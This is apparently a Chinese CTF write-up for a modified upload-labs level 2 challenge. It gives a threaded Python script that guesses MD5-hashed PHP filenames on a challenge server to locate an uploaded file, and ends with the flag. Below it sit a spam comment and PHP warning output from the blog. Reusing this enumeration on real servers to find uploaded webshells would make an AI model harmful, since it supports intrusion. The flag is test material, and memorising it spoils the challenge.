题目
这是一个upload-labs的第二关的魔改,还是还一定的编码能力才能完成的
题解
import requests
import hashlib
import concurrent.futures
url = 'http://hazelshishuaige.club:8139/upload/'
def get_file(i):
new_name = '1.php%d' % i
md5_new_name = hashlib.md5(new_name.encode()).hexdigest()
response = requests.get(url + md5_new_name + '.php')
if response.status_code == 200:
print(md5_new_name + '.php')
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
for i in range(1, 1001):
executor.submit(get_file, i)
答案
flag{2a18e294-fe57-4b70-8aed-6825a0fc6f6e}
Comments 1 条评论
博主 house porn
Warning: Trying to access array offset on value of type null in /www/wwwroot/justicelee.top/wp-content/themes/Sakurairo/functions.php on line 371
Warning: Trying to access array offset on value of type null in /www/wwwroot/justicelee.top/wp-content/themes/Sakurairo/functions.php on line 371
Warning: Trying to access array offset on value of type null in /www/wwwroot/justicelee.top/wp-content/themes/Sakurairo/functions.php on line 372
Warning: Trying to access array offset on value of type null in /www/wwwroot/justicelee.top/wp-content/themes/Sakurairo/functions.php on line 372
yandanxvurulmus.Gy2CGRWrEru8